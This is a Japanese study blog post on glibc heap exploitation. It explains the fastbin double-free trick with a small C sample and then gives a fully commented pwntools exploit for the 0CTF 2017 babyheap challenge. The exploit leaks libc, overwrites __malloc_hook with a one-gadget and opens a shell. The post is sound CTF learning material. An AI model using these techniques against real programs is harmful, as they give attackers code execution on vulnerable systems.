fr33f0r4ll

自分用雑記

Heap exploitationのお勉強メモ1

heap知らなさすぎてナウなpwnが解けないので少しずつやり始めました。 mallocとfreeのアルゴリズムここでお勉強した。

攻撃方法はshellphishのhow2heapでお勉強してる。 PoCプログラムに混じって置いてあるmalloc_playgroudが最高に良い。 全ての機能は使えてないけど、対話的にmalloc、freeして返されるアドレスを見れるのでfastbinとかsmallbinとかの挙動を実際に動かして確認できる。 PoCプログラムも説明がきちんとされているので分かりやすいし、その上参考になる過去のCTFの問題のリンクまで貼ってくれている。 至れり尽せりって感じだった。

その中でfastbin_dupのお勉強をしたのでそのメモ。

fastbin dup

サンプルとしてshellphish/how2heapのソースを最低限まで削ったものを使わせてもらう。

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *a = malloc(8);
    int *b = malloc(8);

    free(a);
    // free(a); // 2回連続で同じチャンクをfastbinsに繋ぐとエラーが出る
    free(b);
    free(a); // 間に別のチャンクを繋ぐとエラーが出ない

    malloc(8); // a
    malloc(8); // b
    malloc(8); // a!
}

double-freeができる必要があるはず、そしてfastbinでないとできないのである程度小さい領域がmallocできないといけない。 これをすると、mallocしたときに同じ領域を2回返させることができるようになる。

手順は、まず2回mallocしてfastbinのサイズの領域(64bit環境だと128バイトまで?)を2つ取得する。 同じサイズじゃないと同じbinsに繋がれないので、8バイトに揃えてる。 最初の領域がa、2回目の領域がbとする。

次にa -> b -> aの順番でfreeする、a -> aとやっちゃうとdouble-freeが検出されてプログラムが強制終了させられる。 この時点でfree済のfastbinとして[fastbins head] -> a -> b -> aって感じにaが2回繋がれることになる。

ここでさっきと同じサイズ(8バイト)をmallocすると、無駄にheap領域を使わないようにfreeされて使わなくなった領域を返すようになっている。 FILOになっているのでfreeした順とは逆順になってmallocで返される。 このとき、double-freeで2回登録しているので2回同じチャンクが返されることになる。

ちなみにsmall binやlarge binではdouble-freeはしっかり検出されるので同じようにやってもできないようになってる。

0CTF babyheap

http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html 例題として挙げられていた問題。 いまはfastbin_dup_into_stackの例題になっている。

あとでwriteupする。一年越しのリベンジ、人に聞いてようやくできた。

Writeupの解法

ヒープ領域でのバッファオーバーフローができるので、他のヒープの情報を改ざんして既に取得しているチャンクをもう一度取得し、freeすることでsmallbinのアドレスをリークさせる。
次に、リークしたアドレスからlibcのベースアドレスを計算し、そこからone gadget RCEのアドレスと__malloc_hookのアドレスを取得する。
最後にヒープ領域のfree済チャンクのfdを__malloc_hook近辺に書き換えて取得し、そこにone gadget RCEのアドレスを書き込む。
あとはmallocを呼び出すだけで__malloc_hookのone gadget RCEが起動してシェルに入れる。

ExploitもほとんどWriteupのパクリ、ちょっとだけ解説を足した。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './babyheap'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

menu = {'alloc': '1', 'fill': '2', 'free': '3', 'dump': '4', 'exit': '5'}


def alloc(size):
    io.sendlineafter('Command: ', menu['alloc'])
    io.sendlineafter('Size: ', str(size))
    idx = int(io.recvline().replace('Allocate Index', ''))

    log.debug('alloc({})'.format(size))
    log.debug('alloc returns {}'.format(idx))

    return idx


def fill(idx, size, content):
    io.sendlineafter('Command: ', menu['fill'])
    io.sendlineafter('Index: ', str(idx))
    io.sendlineafter('Size: ', str(size))
    io.sendlineafter('Content: ', content)

    log.debug('fill({}, {}, {})'.format(idx, size, content))


def free(idx):
    io.sendlineafter('Command: ', menu['free'])
    io.sendlineafter('Index: ', str(idx))

    log.debug('free({})'.format(idx))


def dump(idx):
    io.sendlineafter('Command: ', menu['dump'])
    io.sendlineafter('Index: ', str(idx))

    log.debug('dump({})'.format(idx))

    return io.recvuntil('1. Allocate').replace('1. Allocate', '').replace(
        'Content: \n', '')


io = start()

# インデックスがNならidx[N]と書くようにする
alloc(0x20)  # idx[0]
alloc(0x20)  # idx[1]
alloc(0x20)  # idx[2]
alloc(0x20)  # idx[3]
alloc(0x80)  # idx[4]

free(1)
free(2)
# freeリストがfastbin[0x30]->idx[2]->idx[1]になる
# chunk_sizeとアライメントの関係で0x20を確保する場合、0x30が実際に確保されるサイズになる

# freeされたidx[2]のfdの末尾1バイトを書き換えて、idx[4]を指すようにする
payload = ''
payload += p64(0) * 5  # 32バイトは確保した領域、8バイトはアライメントの兼ね合いで発生した余剰領域
payload += p64(0x31)   # idx[1]のchunk_size、変えてしまわないように同じサイズを書き込む。0x1はprev_in_useフラグ
payload += p64(0) * 5  # 同様
payload += p64(0x31)   # 同様
payload += p8(0xc0)    # idx[2].fdの末尾を書き換える
# ASLRが有効でもヒープ領域開始位置は末尾が0x00で相対位置が同じになるので、0xc0でOK
fill(0, len(payload), payload)

# freeしたときのfastbinでのチェックを通すため、サイズを対応するfastbinのものに書き換える
payload = ''
payload += p64(0) * 5  # 同様
payload += p64(0x31)  # idx[4].chunk_sizeを0x31(fastbinのサイズ)に書き換え
fill(3, len(payload), payload)

alloc(0x20)  # fastbins[0x30]から取得、idx[2]だったチャンクが返る。新しいインデックスは1
alloc(0x20)  # idx[1]だったチャンクが返るはずだけど、idx[2].fdを書き換えたのでidx[4]のチャンクが返ってくる。インデックスは4

# この時点で、idx[2] == idx[4]になってる

# ここでtopチャンクのアドレスを取得するために、freeしてidx[4].fdをsmallbinsに繋ぐ
payload = ''
payload += p64(0) * 5
payload += p64(0x91)  # unsorted binに繋がれるように元のサイズを書き戻す
fill(3, len(payload), payload)
# 詳しくは理解してないけどtopチャンクと隣接してる場合はそのままtopチャンクに結合されてしまうらしく、それを防ぐためにalloc
alloc(0x80)  # idx[5]に入る
free(4)  # unsorted binに繋がれる

# この時点でもidx[2] == idx[4]になってる
# idx[4]をfreeしたため、idx[2].user_dataにはidx[4].fd, idx[4].bkが入っている
# idx[4].fdはtopチャンクを指しているっぽい
# topチャンクはlibcのメモリ領域に入っているので、相対位置を計算することでlibcのベースアドレスが分かる
libc_base = u64(dump(2)[:8]) - 0x3c4b78
log.info("libc_base: " + hex(libc_base))

alloc(0x68)  # 0x70のチャンクをunsorted binから取得する、インデックスは4
free(4)  # freeして、今度はfastbinsに繋ぐ

malloc_hook_offset = 0x3c4b10
malloc_hook = libc_base + malloc_hook_offset
adjusted_malloc_hook = malloc_hook + 0xd - 0x20
# Writeupの方を見た方が分かりやすい
# malloc_hookのアドレスをmallocで確保した領域として返させるために、いろいろと工夫している
# chunk_sizeがfastbinかどうかのチェックを突破するために、0x7ffff7...となっている部分をずらしてchunk_sizeが0x7fとなるようにする
# こうするとchunk_sizeが0x70のfastbinのチャンクと認識されて、チェックが突破できる
log.info('malloc_hook: 0x{:x}'.format(malloc_hook))
log.info('adjusted hook: 0x{:x}'.format(adjusted_malloc_hook))
payload = p64(adjusted_malloc_hook)  # 現在smallbinsに繋がれているチャンクのfdに、すこしずらしたmalloc_hookのアドレスを書き込む
# この時点でidx[2]はsmallbinsに繋がれているchunkを指している
# 書き込んでsmallbinsに繋がれているchunkのfdを上書きする
fill(2, len(payload), payload)
alloc(0x60)  # インデックスは4、smallbinsから取ってこられる
alloc(0x60)  # インデックスは6、idx[4].fdが改ざんされてmalloc_hookのちょっと上の方を指しているため、ここでadjusted_malloc_hookのアドレスが返されている

# one gadget RCEリスト、条件を満さないものがいくつかあるみたいだったので総当たりした
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadgets[1]
log.info('one_gadget: 0x{:x}'.format(one_gadget))

# malloc_hookに該当する部分にone gadget RCEのアドレスを書き込む
# malloc_hookに設定されたアドレスは、malloc内で最初の方で関数として呼び出される
# つまり、ここでmalloc_hookに書き込んだ命令へのアドレスが次のmallocで実行されることになる
payload = '\x00' * 3
payload += p64(one_gadget)
fill(6, len(payload), payload)

# パース処理の問題で直接送る
# ここのmallocでmalloc_hookのone gadget RCEが実行される
io.sendlineafter('Command: ', menu['alloc'])
io.sendlineafter('Size: ', str(255))
io.interactive()